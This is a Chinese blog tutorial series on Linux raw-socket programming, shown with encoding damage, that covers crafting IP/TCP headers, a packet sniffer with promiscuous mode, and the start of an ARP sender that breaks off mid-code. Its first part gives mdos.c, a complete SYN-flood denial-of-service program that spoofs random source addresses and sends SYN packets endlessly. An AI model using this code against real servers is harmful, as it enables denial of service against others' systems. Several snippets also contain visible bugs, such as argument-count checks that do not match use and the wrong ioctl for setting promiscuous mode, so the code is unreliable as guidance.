?Linux網(wǎng)絡(luò)編程：原始套接字的魔力【上】

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基于原始套接字編程
? ? ? ?在開發(fā)面向連接的TCP和面向無連接的UDP程序時(shí)，我們所關(guān)心的核心問題在于數(shù)據(jù)收發(fā)層面，數(shù)據(jù)的傳輸特性由TCP或UDP來保證：


? ? ? ?也就是說，對于TCP或UDP的程序開發(fā)，焦點(diǎn)在Data字段，我們沒法直接對TCP或UDP頭部字段進(jìn)行赤裸裸的修改，當(dāng)然還有IP頭。換句話說，我們對它們頭部操作的空間非常受限，只能使用它們已經(jīng)開放給我們的諸如源、目的IP，源、目的端口等等。
? ? ? ?今天我們討論一下原始套接字的程序開發(fā)，用它作為入門協(xié)議棧的進(jìn)階跳板太合適不過了。OK閑話不多說，進(jìn)入正題。
? ? ? ?原始套接字的創(chuàng)建方法也不難：socket(AF_INET, SOCK_RAW, protocol)。
? ? ? ?重點(diǎn)在protocol字段，這里就不能簡單的將其值為0了。在頭文件netinet/in.h中定義了系統(tǒng)中該字段目前能取的值，注意：有些系統(tǒng)中不一定實(shí)現(xiàn)了netinet/in.h中的所有協(xié)議。源代碼的linux/in.h中和netinet/in.h中的內(nèi)容一樣。


? ? ? ?我們常見的有IPPROTO_TCP，IPPROTO_UDP和IPPROTO_ICMP，在博文“(十六)洞悉linux下的Netfilter&iptables：開發(fā)自己的hook函數(shù)【實(shí)戰(zhàn)】(下) ”中我們見到該protocol字段為IPPROTO_RAW時(shí)的情形，后面我們會(huì)詳細(xì)介紹。
? ? ? ?用這種方式我就可以得到原始的IP包了，然后就可以自定義IP所承載的具體協(xié)議類型，如TCP，UDP或ICMP，并手動(dòng)對每種承載在IP協(xié)議之上的報(bào)文進(jìn)行填充。接下來我們看個(gè)最著名的例子DOS攻擊的示例代碼，以便大家更好的理解如何基于原始套接字手動(dòng)去封裝我們所需要TCP報(bào)文。
? ? ? ?先簡單復(fù)習(xí)一下TCP報(bào)文的格式，因?yàn)槲覀儽旧聿皇侵v協(xié)議的設(shè)計(jì)思想，所以只會(huì)提及和我們接下來主題相關(guān)的字段，如果想對TCP協(xié)議原理進(jìn)行深入了解那么《TCP/IP詳解卷1》無疑是最好的選擇。


? ? ? ?我們目前主要關(guān)注上面著色部分的字段就OK了，接下來再看看TCP3次握手的過程。TCP的3次握手的一般流程是：
(1) 第一次握手：建立連接時(shí)，客戶端A發(fā)送SYN包(SEQ_NUMBER=j)到服務(wù)器B，并進(jìn)入SYN_SEND狀態(tài)，等待服務(wù)器B確認(rèn)。
(2) 第二次握手：服務(wù)器B收到SYN包，必須確認(rèn)客戶A的SYN(ACK_NUMBER=j+1)，同時(shí)自己也發(fā)送一個(gè)SYN包(SEQ_NUMBER=k)，即SYN+ACK包，此時(shí)服務(wù)器B進(jìn)入SYN_RECV狀態(tài)。
(3) 第三次握手：客戶端A收到服務(wù)器B的SYN＋ACK包，向服務(wù)器B發(fā)送確認(rèn)包ACK(ACK_NUMBER=k+1)，此包發(fā)送完畢，客戶端A和服務(wù)器B進(jìn)入ESTABLISHED狀態(tài)，完成三次握手。
?至此3次握手結(jié)束，TCP通路就建立起來了，然后客戶端與服務(wù)器開始交互數(shù)據(jù)。上面描述過程中，SYN包表示TCP數(shù)據(jù)包的標(biāo)志位syn=1，同理，ACK表示TCP報(bào)文中標(biāo)志位ack=1，SYN+ACK表示標(biāo)志位syn=1和ack=1同時(shí)成立。
原始套接字還提供了一個(gè)非常有用的參數(shù)IP_HDRINCL：
1、當(dāng)開啟該參數(shù)時(shí)：我們可以從IP報(bào)文首部第一個(gè)字節(jié)開始依次構(gòu)造整個(gè)IP報(bào)文的所有選項(xiàng)，但是IP報(bào)文頭部中的標(biāo)識字段(設(shè)置為0時(shí))和IP首部校驗(yàn)和字段總是由內(nèi)核自己維護(hù)的，不需要我們關(guān)心。
2、如果不開啟該參數(shù)：我們所構(gòu)造的報(bào)文是從IP首部之后的第一個(gè)字節(jié)開始，IP首部由內(nèi)核自己維護(hù)，首部中的協(xié)議字段被設(shè)置成調(diào)用socket()函數(shù)時(shí)我們所傳遞給它的第三個(gè)參數(shù)。
?開啟IP_HDRINCL特性的模板代碼一般為：
? ? ? ?const int on =1;
? if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
? }
? ? ? 所以，我們還得復(fù)習(xí)一下IP報(bào)文的首部格式：


?同樣，我們重點(diǎn)關(guān)注IP首部中的著色部分區(qū)段的填充情況。
? ? ? ?有了上面的知識做鋪墊，接下來DOS示例代碼的編寫就相當(dāng)簡單了。我們來體驗(yàn)一下手動(dòng)構(gòu)造原生態(tài)IP報(bào)文的樂趣吧：
點(diǎn)擊(此處)折疊或打開
//mdos.c
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>


//我們自己寫的攻擊函數(shù)
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都讓內(nèi)核做，那豈不是忒不爽了，咱也試著計(jì)算一下校驗(yàn)和。
unsigned short check_sum(unsigned short *addr,int len);


int main(int argc,char** argv){
? ? ? ? int skfd;
? ? ? ? struct sockaddr_in target;
? ? ? ? struct hostent *host;
? ? ? ? const int on=1;
? ? ? ? unsigned short srcport;


? ? ? ? if(argc!=2)
? ? ? ? {
? ? ? ? ? ? ? ? printf("Usage:%s target dstport srcport\n",argv[0]);
? ? ? ? ? ? ? ? exit(1);
? ? ? ? }


? ? ? ? bzero(&target,sizeof(struct sockaddr_in));
? ? ? ? target.sin_family=AF_INET;
? ? ? ? target.sin_port=htons(atoi(argv[2]));


? ? ? ? if(inet_aton(argv[1],&target.sin_addr)==0)
? ? ? ? {
? ? ? ? ? ? ? ? host=gethostbyname(argv[1]);
? ? ? ? ? ? ? ? if(host==NULL)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? printf("TargetName Error:%s\n",hstrerror(h_errno));
? ? ? ? ? ? ? ? ? ? ? ? exit(1);
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
? ? ? ? }


? ? ? ? //將協(xié)議字段置為IPPROTO_TCP，來創(chuàng)建一個(gè)TCP的原始套接字
? ? ? ? if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
? ? ? ? ? ? ? ? perror("Create Error");
? ? ? ? ? ? ? ? exit(1);
? ? ? ? }


? ? ? ? //用模板代碼來開啟IP_HDRINCL特性，我們完全自己手動(dòng)構(gòu)造IP報(bào)文
? ? ? ? ?if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
? ? ? ? ? ? ? ? perror("IP_HDRINCL failed");
? ? ? ? ? ? ? ? exit(1);
? ? ? ? }


? ? ? ? //因?yàn)橹挥衦oot用戶才可以play with raw socket :)
? ? ? ? setuid(getpid());
? ? ? ? srcport = atoi(argv[3]);
? ? ? ? attack(skfd,&target,srcport);
}


//在該函數(shù)中構(gòu)造整個(gè)IP報(bào)文，最后調(diào)用sendto函數(shù)將報(bào)文發(fā)送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
? ? ? ? char buf[128]={0};
? ? ? ? struct ip *ip;
? ? ? ? struct tcphdr *tcp;
? ? ? ? int ip_len;


? ? ? ? //在我們TCP的報(bào)文中Data沒有字段，所以整個(gè)IP報(bào)文的長度
? ? ? ? ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
? ? ? ? //開始填充IP首部
? ? ? ? ip=(struct ip*)buf;


? ? ? ? ip->ip_v = IPVERSION;
? ? ? ? ip->ip_hl = sizeof(struct ip)>>2;
? ? ? ? ip->ip_tos = 0;
? ? ? ? ip->ip_len = htons(ip_len);
? ? ? ? ip->ip_id=0;
? ? ? ? ip->ip_off=0;
? ? ? ? ip->ip_ttl=MAXTTL;
? ? ? ? ip->ip_p=IPPROTO_TCP;
? ? ? ? ip->ip_sum=0;
? ? ? ? ip->ip_dst=target->sin_addr;


? ? ? ? //開始填充TCP首部
? ? ? ? tcp = (struct tcphdr*)(buf+sizeof(struct ip));
? ? ? ? tcp->source = htons(srcport);
? ? ? ? tcp->dest = target->sin_port;
? ? ? ? tcp->seq = random();
? ? ? ? tcp->doff = 5;
? ? ? ? tcp->syn = 1;
? ? ? ? tcp->check = 0;


? ? ? ? while(1){
? ? ? ? ? ? ? ? //源地址偽造，我們隨便任意生成個(gè)地址，讓服務(wù)器一直等待下去
? ? ? ? ? ? ? ? ip->ip_src.s_addr = random();
? ? ? ? ? ? ? ? tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
? ? ? ? ? ? ? ? sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
? ? ? ? }
}


//關(guān)于CRC校驗(yàn)和的計(jì)算，網(wǎng)上一大堆，我就“拿來主義”了
unsigned short check_sum(unsigned short *addr,int len){
? ? ? ? register int nleft=len;
? ? ? ? register int sum=0;
? ? ? ? register short *w=addr;
? ? ? ? short answer=0;


? ? ? ? while(nleft>1)
? ? ? ? {
? ? ? ? ? ? ? ? sum+=*w++;
? ? ? ? ? ? ? ? nleft-=2;
? ? ? ? }
? ? ? ? if(nleft==1)
? ? ? ? {
? ? ? ? ? ? ? ? *(unsigned char *)(&answer)=*(unsigned char *)w;
? ? ? ? ? ? ? ? sum+=answer;
? ? ? ? }


? ? ? ? sum=(sum>>16)+(sum&0xffff);
? ? ? ? sum+=(sum>>16);
? ? ? ? answer=~sum;
? ? ? ? return(answer);
}
? ? ? ?用前面我們自己編寫TCP服務(wù)器端程序來做本地測試，看看效果。先把服務(wù)器端程序啟動(dòng)起來，如下：


? ? ? ?然后，我們編寫的“搗蛋”程序登場了：


? ? ? ?該“mdos”命令執(zhí)行一段時(shí)間后，服務(wù)器端的輸出如下：


? ? ? ?因?yàn)槲覀兊脑碔P地址是隨機(jī)生成的，源端口固定為8888，服務(wù)器端收到我們的SYN報(bào)文后，會(huì)為其分配一條連接資源，并將該連接的狀態(tài)置為SYN_RECV，然后給客戶端回送一個(gè)確認(rèn)，并要求客戶端再次確認(rèn)，可我們卻不再bird別個(gè)了，這樣就會(huì)造成服務(wù)端一直等待直到超時(shí)。
? ? ? ?備注：本程序僅供交流分享使用，不要做惡，不然后果自負(fù)哦。
? ? ? ?最后補(bǔ)充一點(diǎn)，看到很多新手經(jīng)常對struct ip{}和struct iphdr{}，struct icmp{}和struct icmphdr{}糾結(jié)來糾結(jié)去了，不知道何時(shí)該用哪個(gè)。在/usr/include/netinet目錄這些結(jié)構(gòu)所屬頭文件的定義，頭文件中對這些結(jié)構(gòu)也做了很明確的說明，這里我們簡單總結(jié)一下：
? ? ? ?struct ip{}、struct icmp{}是供BSD系統(tǒng)層使用，struct iphdr{}和struct icmphdr{}是在INET層調(diào)用。同理tcphdr和udphdr分別都已經(jīng)和諧統(tǒng)一了，參見tcp.h和udp.h。
? ? ? ?BSD和INET的解釋在協(xié)議棧篇章詳細(xì)論述，這里大家可以簡單這樣來理解：我們在用戶空間的編寫網(wǎng)絡(luò)應(yīng)用程序的層次就叫做BSD層。所以我們該用什么樣的數(shù)據(jù)結(jié)構(gòu)呢？良好的編程習(xí)慣當(dāng)然是BSD層推薦我們使用的，struct ip{}、struct icmp{}。至于INET層的兩個(gè)同類型的結(jié)構(gòu)體struct iphdr{}和struct icmphdr{}能用不？我只能說不建議?？磦€(gè)例子：


?我們可以看到無論BSD還是INET層的IP數(shù)據(jù)包結(jié)構(gòu)體大小是相等的，ICMP報(bào)文的大小有差異。而我們知道ICMP報(bào)頭應(yīng)該是8字節(jié)，那么BSD層為什么是28字節(jié)呢？留給大家思考。也就是說，我們這個(gè)mdos.c的實(shí)例程序中除了用struct ip{}之外還可以用INET層的struct iphdr{}結(jié)構(gòu)。將如下代碼：
點(diǎn)擊(此處)折疊或打開
struct ip *ip;
…
ip=(struct ip*)buf;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
…
ip->ip_src.s_addr = random();
改成：
點(diǎn)擊(此處)折疊或打開
struct iphdr *ip;
…
ip=(struct iphdr*)buf;
ip->version = IPVERSION;
ip->ihl = sizeof(struct ip)>>2;
ip->tos = 0;
ip->tot_len = htons(ip_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr=target->sin_addr.s_addr;
…
ip->saddr = random();
? ? ? ?結(jié)果請童鞋們自己驗(yàn)證。雖然結(jié)果一樣，但在BSD層直接使用INET層的數(shù)據(jù)結(jié)構(gòu)還是不被推薦的。
? ? ? ?小結(jié)：
? ? ? ?1、IP_HDRINCL選項(xiàng)可以使我們控制到底是要從IP頭部第一個(gè)字節(jié)開始構(gòu)造我們的原始報(bào)文或者從IP頭部之后第一個(gè)數(shù)據(jù)字節(jié)開始。
? ? ? ?2、只有超級用戶才能創(chuàng)建原始套接字。
? ? ? ?3、原始套接字上也可以調(diào)用connet、bind之類的函數(shù)，但都不常見。原因請大家回顧一下這兩個(gè)函數(shù)的作用。想不起來的童鞋回頭復(fù)習(xí)一下前兩篇的內(nèi)容吧。
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?Linux網(wǎng)絡(luò)編程：原始套接字的魔力【下】

可以接收鏈路層MAC幀的原始套接字
? ? ? ?前面我們介紹過了通過原始套接字socket(AF_INET, SOCK_RAW, protocol)我們可以直接實(shí)現(xiàn)自行構(gòu)造整個(gè)IP報(bào)文，然后對其收發(fā)。提醒一點(diǎn)，在用這種方式構(gòu)造原始IP報(bào)文時(shí)，第三個(gè)參數(shù)protocol不能用IPPROTO_IP，這樣會(huì)讓系統(tǒng)疑惑，不知道該用什么協(xié)議來伺候你了。
? ? ? ?今天我們介紹原始套接字的另一種用法：直接從鏈路層收發(fā)數(shù)據(jù)幀，聽起來好像很神奇的樣子。在Linux系統(tǒng)中要從鏈路層(MAC)直接收發(fā)數(shù)幀，比較普遍的做法就是用libpcap和libnet兩個(gè)動(dòng)態(tài)庫來實(shí)現(xiàn)。但今天我們就要用原始套接字來實(shí)現(xiàn)這個(gè)功能。


? ? ? ?這里的2字節(jié)幀類型用來指示該數(shù)據(jù)幀所承載的上層協(xié)議是IP、ARP或其他。
? ? ? ?為了實(shí)現(xiàn)直接從鏈路層收發(fā)數(shù)據(jù)幀，我們要用到原始套接字的如下形式：
?socket(PF_PACKET, type, protocol)
1、其中type字段可取SOCK_RAW或SOCK_DGRAM。它們兩個(gè)都使用一種與設(shè)備無關(guān)的標(biāo)準(zhǔn)物理層地址結(jié)構(gòu)struct sockaddr_ll{}，但具體操作的報(bào)文格式不同：
SOCK_RAW：直接向網(wǎng)絡(luò)硬件驅(qū)動(dòng)程序發(fā)送(或從網(wǎng)絡(luò)硬件驅(qū)動(dòng)程序接收)沒有任何處理的完整數(shù)據(jù)報(bào)文(包括物理幀的幀頭)，這就要求我們必須了解對應(yīng)設(shè)備的物理幀幀頭結(jié)構(gòu)，才能正確地裝載和分析報(bào)文。也就是說我們用這種套接字從網(wǎng)卡驅(qū)動(dòng)上收上來的報(bào)文包含了MAC頭部，如果我們要用這種形式的套接字直接向網(wǎng)卡發(fā)送數(shù)據(jù)幀，那么我們必須自己組裝我們MAC頭部。這正符合我們的需求。
SOCK_DGRAM：這種類型的套接字對于收到的數(shù)據(jù)報(bào)文的物理幀幀頭會(huì)被系統(tǒng)自動(dòng)去掉，然后再將其往協(xié)議棧上層傳遞；同樣地，在發(fā)送時(shí)數(shù)據(jù)時(shí)，系統(tǒng)將會(huì)根據(jù)sockaddr_ll結(jié)構(gòu)中的目的地址信息為數(shù)據(jù)報(bào)文添加一個(gè)合適的MAC幀頭。
2、protocol字段，常見的，一般情況下該字段取ETH_P_IP，ETH_P_ARP，ETH_P_RARP或ETH_P_ALL，當(dāng)然鏈路層協(xié)議很多，肯定不止我們說的這幾個(gè)，但我們一般只關(guān)心這幾個(gè)就夠我們用了。這里簡單提一下網(wǎng)絡(luò)數(shù)據(jù)收發(fā)的一點(diǎn)基礎(chǔ)。協(xié)議棧在組織數(shù)據(jù)收發(fā)流程時(shí)需要處理好兩個(gè)方面的問題：“從上倒下”，即數(shù)據(jù)發(fā)送的任務(wù)；“從下到上”，即數(shù)據(jù)接收的任務(wù)。數(shù)據(jù)發(fā)送相對接收來說要容易些，因?yàn)閷τ跀?shù)據(jù)接收而言，網(wǎng)卡驅(qū)動(dòng)還要明確什么樣的數(shù)據(jù)該接收、什么樣的不該接收等問題。protocol字段可選的四個(gè)值及其意義如下：
protocol
值
作用
ETH_P_IP
0X0800
只接收發(fā)往目的MAC是本機(jī)的IP類型的數(shù)據(jù)幀
ETH_P_ARP
0X0806
只接收發(fā)往目的MAC是本機(jī)的ARP類型的數(shù)據(jù)幀
ETH_P_RARP
0X8035
只接受發(fā)往目的MAC是本機(jī)的RARP類型的數(shù)據(jù)幀
ETH_P_ALL
0X0003
接收發(fā)往目的MAC是本機(jī)的所有類型(ip,arp,rarp)的數(shù)據(jù)幀，同時(shí)還可以接收從本機(jī)發(fā)出去的所有數(shù)據(jù)幀。在混雜模式打開的情況下，還會(huì)接收到發(fā)往目的MAC為非本地硬件地址的數(shù)據(jù)幀。
? ? ? protocol字段可取的所有協(xié)議參見/usr/include/linux/if_ether.h頭文件里的定義。
? ? ? 最后，格外需要留心一點(diǎn)的就是，發(fā)送數(shù)據(jù)的時(shí)候需要自己組織整個(gè)以太網(wǎng)數(shù)據(jù)幀。和地址相關(guān)的結(jié)構(gòu)體就不能再用前面的struct sockaddr_in{}了，而是struct sockaddr_ll{}，如下：
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struct sockaddr_ll{?
? ? unsigned short sll_family; /* 總是 AF_PACKET */?
? ? unsigned short sll_protocol; /* 物理層的協(xié)議 */?
? ? int sll_ifindex; /* 接口號 */?
? ? unsigned short sll_hatype; /* 報(bào)頭類型 */?
? ? unsigned char sll_pkttype; /* 分組類型 */?
? ? unsigned char sll_halen; /* 地址長度 */?
? ? unsigned char sll_addr[8]; /* 物理層地址 */?
};
?sll_protocoll：取值在linux/if_ether.h中，可以指定我們所感興趣的二層協(xié)議；
? ? ? ?sll_ifindex：置為0表示處理所有接口，對于單網(wǎng)卡的機(jī)器就不存在“所有”的概念了。如果你有多網(wǎng)卡，該字段的值一般通過ioctl來搞定，模板代碼如下，如果我們要獲取eth0接口的序號，可以使用如下代碼來獲取：
點(diǎn)擊(此處)折疊或打開
struct ?sockaddr_ll ?sll;
struct ifreq ifr;


strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFINDEX, &ifr);
sll.sll_ifindex = ifr.ifr_ifindex;
? sll_hatype：ARP硬件地址類型，定義在 linux/if_arp.h 中。 取ARPHRD_ETHER時(shí)表示為以太網(wǎng)。
? sll_pkttype：包含分組類型。目前，有效的分組類型有：目標(biāo)地址是本地主機(jī)的分組用的 PACKET_HOST，物理層廣播分組用的 PACKET_BROADCAST ，發(fā)送到一個(gè)物理層多路廣播地址的分組用的 PACKET_MULTICAST，在混雜(promiscuous)模式下的設(shè)備驅(qū)動(dòng)器發(fā)向其他主機(jī)的分組用的 PACKET_OTHERHOST，源于本地主機(jī)的分組被環(huán)回到分組套接口用的 PACKET_OUTGOING。這些類型只對接收到的分組有意義。
? ? ? ?sll_addr和sll_halen指示物理層(如以太網(wǎng)，802.3，802.4或802.5等)地址及其長度，嚴(yán)格依賴于具體的硬件設(shè)備。類似于獲取接口索引sll_ifindex，要獲取接口的物理地址，可以采用如下代碼：
點(diǎn)擊(此處)折疊或打開
struct ifreq ifr;


strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFHWADDR, &ifr);
?缺省情況下，從任何接口收到的符合指定協(xié)議的所有數(shù)據(jù)報(bào)文都會(huì)被傳送到原始PACKET套接字口，而使用bind系統(tǒng)調(diào)用并以一個(gè)sochddr_ll結(jié)構(gòu)體對象將PACKET套接字與某個(gè)網(wǎng)絡(luò)接口相綁定，就可使我們的PACKET原始套接字只接收指定接口的數(shù)據(jù)報(bào)文。?
?接下來我們簡單介紹一下網(wǎng)卡是怎么收報(bào)的，如果你對這部分已經(jīng)很了解可以跳過這部分內(nèi)容。網(wǎng)卡從線路上收到信號流，網(wǎng)卡的驅(qū)動(dòng)程序會(huì)去檢查數(shù)據(jù)幀開始的前6個(gè)字節(jié)，即目的主機(jī)的MAC地址，如果和自己的網(wǎng)卡地址一致它才會(huì)接收這個(gè)幀，不符合的一般都是直接無視。然后該數(shù)據(jù)幀會(huì)被網(wǎng)絡(luò)驅(qū)動(dòng)程序分解，IP報(bào)文將通過網(wǎng)絡(luò)協(xié)議棧，最后傳送到應(yīng)用程序那里。往上層傳遞的過程就是一個(gè)校驗(yàn)和“剝頭”的過程，由協(xié)議棧各層去實(shí)現(xiàn)。


? ? ? ?接下來我們來寫個(gè)簡單的抓包程序，將那些發(fā)給本機(jī)的IPv4報(bào)文全打印出來：
點(diǎn)擊(此處)折疊或打開
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>


int main(int argc, char **argv) {
? ?int sock, n;
? ?char buffer[2048];
? ?struct ethhdr *eth;
? ?struct iphdr *iph;


? ?if (0>(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) {
? ? ?perror("socket");
? ? ?exit(1);
? ?}


? ?while (1) {
? ? ?printf("=====================================\n");
? ? ?//注意：在這之前我沒有調(diào)用bind函數(shù)，原因是什么呢？
? ? ?n = recvfrom(sock,buffer,2048,0,NULL,NULL);
? ? ?printf("%d bytes read\n",n);


? ? ?//接收到的數(shù)據(jù)幀頭6字節(jié)是目的MAC地址，緊接著6字節(jié)是源MAC地址。
? ? ?eth=(struct ethhdr*)buffer;
? ? ?printf("Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
? ? ?printf("Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);


? ? ?iph=(struct iphdr*)(buffer+sizeof(struct ethhdr));
? ? ?//我們只對IPV4且沒有選項(xiàng)字段的IPv4報(bào)文感興趣
? ? ?if(iph->version ==4 && iph->ihl == 5){
? ? ? ? ? ? ?printf("Source host:%s\n",inet_ntoa(iph->saddr));
? ? ? ? ? ? ?printf("Dest host:%s\n",inet_ntoa(iph->daddr));
? ? ?}
? ?}
}
? ? ? 編譯，然后運(yùn)行，要以root身份才可以運(yùn)行該程序：


正如我們前面看到的，網(wǎng)卡丟棄所有不含有主機(jī)MAC地址00:0C:29:BA:CB:61的數(shù)據(jù)包，這是因?yàn)榫W(wǎng)卡處于非混雜模式，即每個(gè)網(wǎng)卡只處理源地址是它自己的幀！
這里有三個(gè)例外的情況：
1、如果一個(gè)幀的目的MAC地址是一個(gè)受限的廣播地址（255.255.255.255)那么它將被所有的網(wǎng)卡接收。
2、如果一個(gè)幀的目的地址是組播地址，那么它將被那些打開組播接收功能的網(wǎng)卡所接收。
3、網(wǎng)卡如被設(shè)置成混雜模式，那么它將接收所有流經(jīng)它的數(shù)據(jù)包。
? ? ? ?前面我們剛好提到過網(wǎng)卡的混雜模式，現(xiàn)在我們就來迫不及待的實(shí)踐一哈看看混雜模式是否可以讓我們抓到所有數(shù)據(jù)包，只要在while循環(huán)前加上如下代碼就OK了：


點(diǎn)擊(此處)折疊或打開
struct ifreq ethreq;
… …
strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
if(-1 == ioctl(sock,SIOCGIFFLAGS,&ethreq)){
? ? ?perror("ioctl");
? ? ?close(sock);
? ? ?exit(1);
}
ethreq.ifr_flags |=IFF_PROMISC;
if(-1 == ioctl(sock,SIOCGIFFLAGS,&ethreq)){
? ? ?perror("ioctl");
? ? ?close(sock);
? ? ?exit(1);
}
while(1){
? ?… …
}
? ? ? ?至此，我們一個(gè)網(wǎng)絡(luò)抓包工具的雛形就出現(xiàn)了。大家可以基于此做更多的練習(xí)，加上多線程機(jī)制，對收到的不同類型的數(shù)據(jù)包做不同處理等等，反正由你發(fā)揮的空間是相當(dāng)?shù)未?#xff0c;“狐貍未成精，只因太年輕”。把這塊吃透了，后面理解協(xié)議棧就會(huì)相當(dāng)輕松。
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?Linux網(wǎng)絡(luò)編程：原始套接字的魔力【續(xù)

如何從鏈路層直接發(fā)送數(shù)據(jù)幀
? ? ? ?本來以為這部分都弄完了，結(jié)果有朋友反映說看了半天還是沒看到如何從鏈路層直接發(fā)送數(shù)據(jù)。因?yàn)樯弦黄锩嫣岬降氖菑逆溌穼印笆瞻l(fā)”數(shù)據(jù)，結(jié)果只“收”完，忘了“發(fā)”，實(shí)在抱歉，所以就有這篇續(xù)出來了。
? ? ? ?上一節(jié)我們主要研究了如何從鏈路層直接接收數(shù)據(jù)幀，可以通過bind函數(shù)來將原始套接字綁定到本地一個(gè)接口上，然后該套接字就只接收從該接口收上來的對應(yīng)的數(shù)據(jù)包。今天我們用原始套接字來手工實(shí)現(xiàn)鏈路層ARP報(bào)文的發(fā)送和接收，以便大家對原始套接字有更深刻的掌握和理解。
? ? ? ?ARP全稱為地址解析協(xié)議，是鏈路層廣泛使用的一種尋址協(xié)議，完成32比特IP地址到48比特MAC地址的映射轉(zhuǎn)換。在以太網(wǎng)中，當(dāng)一臺主機(jī)需要向另外一臺主機(jī)發(fā)送消息時(shí)，它會(huì)首先在自己本地的ARP緩存表中根據(jù)目的主機(jī)的IP地址查找其對應(yīng)的MAC地址，如果找到了則直接向其發(fā)送消息。如果未找到，它首先會(huì)在全網(wǎng)發(fā)送一個(gè)ARP廣播查詢，這個(gè)查詢的消息會(huì)被以太網(wǎng)中所有主機(jī)接收到，然后每個(gè)主機(jī)就根據(jù)ARP查詢報(bào)文中所指定的IP地址來檢查該報(bào)文是不是發(fā)給自己的，如果不是則直接丟棄；只有被查詢的目的主機(jī)才會(huì)對這個(gè)消息進(jìn)行響應(yīng)，然后將自己的MAC地址通告給發(fā)送者。
? ? ? ?也就是說，鏈路層中是根據(jù)MAC地址來確定唯一一臺主機(jī)。以太幀格式如下：


? ? ? ?以太幀首部中2字節(jié)的幀類型字段指定了其上層所承載的具體協(xié)議，常見的有0x0800表示是IP報(bào)文、0x0806表示RARP協(xié)議、0x0806即為我們將要討論的ARP協(xié)議。
?硬件類型： 1表示以太網(wǎng)。
?協(xié)議類型： 0x0800表示IP地址。和以太頭部中幀類型字段相同。
?硬件地址長度和協(xié)議地址長度：對于以太網(wǎng)中的ARP協(xié)議而言，分別為6和4；
?操作碼：1表示ARP請求；2表示ARP應(yīng)答；3表示RARP請求；4表示RARP應(yīng)答。
? ? ? ?我們這里只討論硬件地址為以太網(wǎng)地址、協(xié)議地址為IP地址的情形，所以剩下四個(gè)字段就分別表示發(fā)送方的MAC和IP地址、接收方的MAC和IP地址了。
? ? ? ?注意：對于一個(gè)ARP請求報(bào)文來說，除了接收方硬件地址外，其他字段都要填充。當(dāng)系統(tǒng)收到一個(gè)ARP請求時(shí)，會(huì)查詢該請求報(bào)文中接收方的協(xié)議地址是否和自己的IP地址相等，如果相等，它就把自己的硬件地址和協(xié)議地址填充進(jìn)去，將發(fā)送和接收方的地址互換，然后將操作碼改為2，發(fā)送回去。


? ? ? ?下面看一個(gè)使用原始套接字發(fā)送ARP請求的例子：
點(diǎn)擊(此處)折疊或打開
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>


#define BUFLEN 42


int main(int argc,char** argv){
? ? int skfd,n;
? ? char buf[BUFLEN]={0};
? ? struct ether_header *eth;
? ? struct ether_arp *arp;
? ? struct sockaddr_ll toaddr;
? ? struct in_addr targetIP,srcIP;
? ? struct ifreq ifr;


? ? unsigned char src_mac[ETH_ALEN]={0};
? ? unsigned char dst_mac[ETH_ALEN]={0xff,0xff,0xff,0xff,0xff,0xff}; //全網(wǎng)廣播ARP請求
? ? if(3 != argc){
? ? ? ? ? ? printf("Usage: %s netdevName dstIP\n",argv[0]);
? ? ? ? ? ? exit(1);
? ? }


? ? if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL)))){
? ? ? ? ? ? perror("Create Error");
? ? ? ? ? ? exit(1);
? ? }


? ? bzero(&toaddr,sizeof(toaddr));
? ? bzero(&ifr,sizeof(ifr));
? ? strcpy(ifr.ifr_name,argv[1]);


? ? //獲取接口索引
? ? if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
? ? ? ? ? ?perror("get dev index error:");
? ? ? ? ? ?exit(1);
? ? }
? ? toaddr.sll_ifindex = ifr.ifr_ifindex;
? ? printf("interface Index:%d\n",ifr.ifr_ifindex);
? ? //獲取接口IP地址
? ? if(-1 == ioctl(skfd,SIOCGIFADDR,&ifr)){
? ? ? ? ? ?perror("get IP addr error:");
? ? ? ? ? ?exit(1);
? ? }
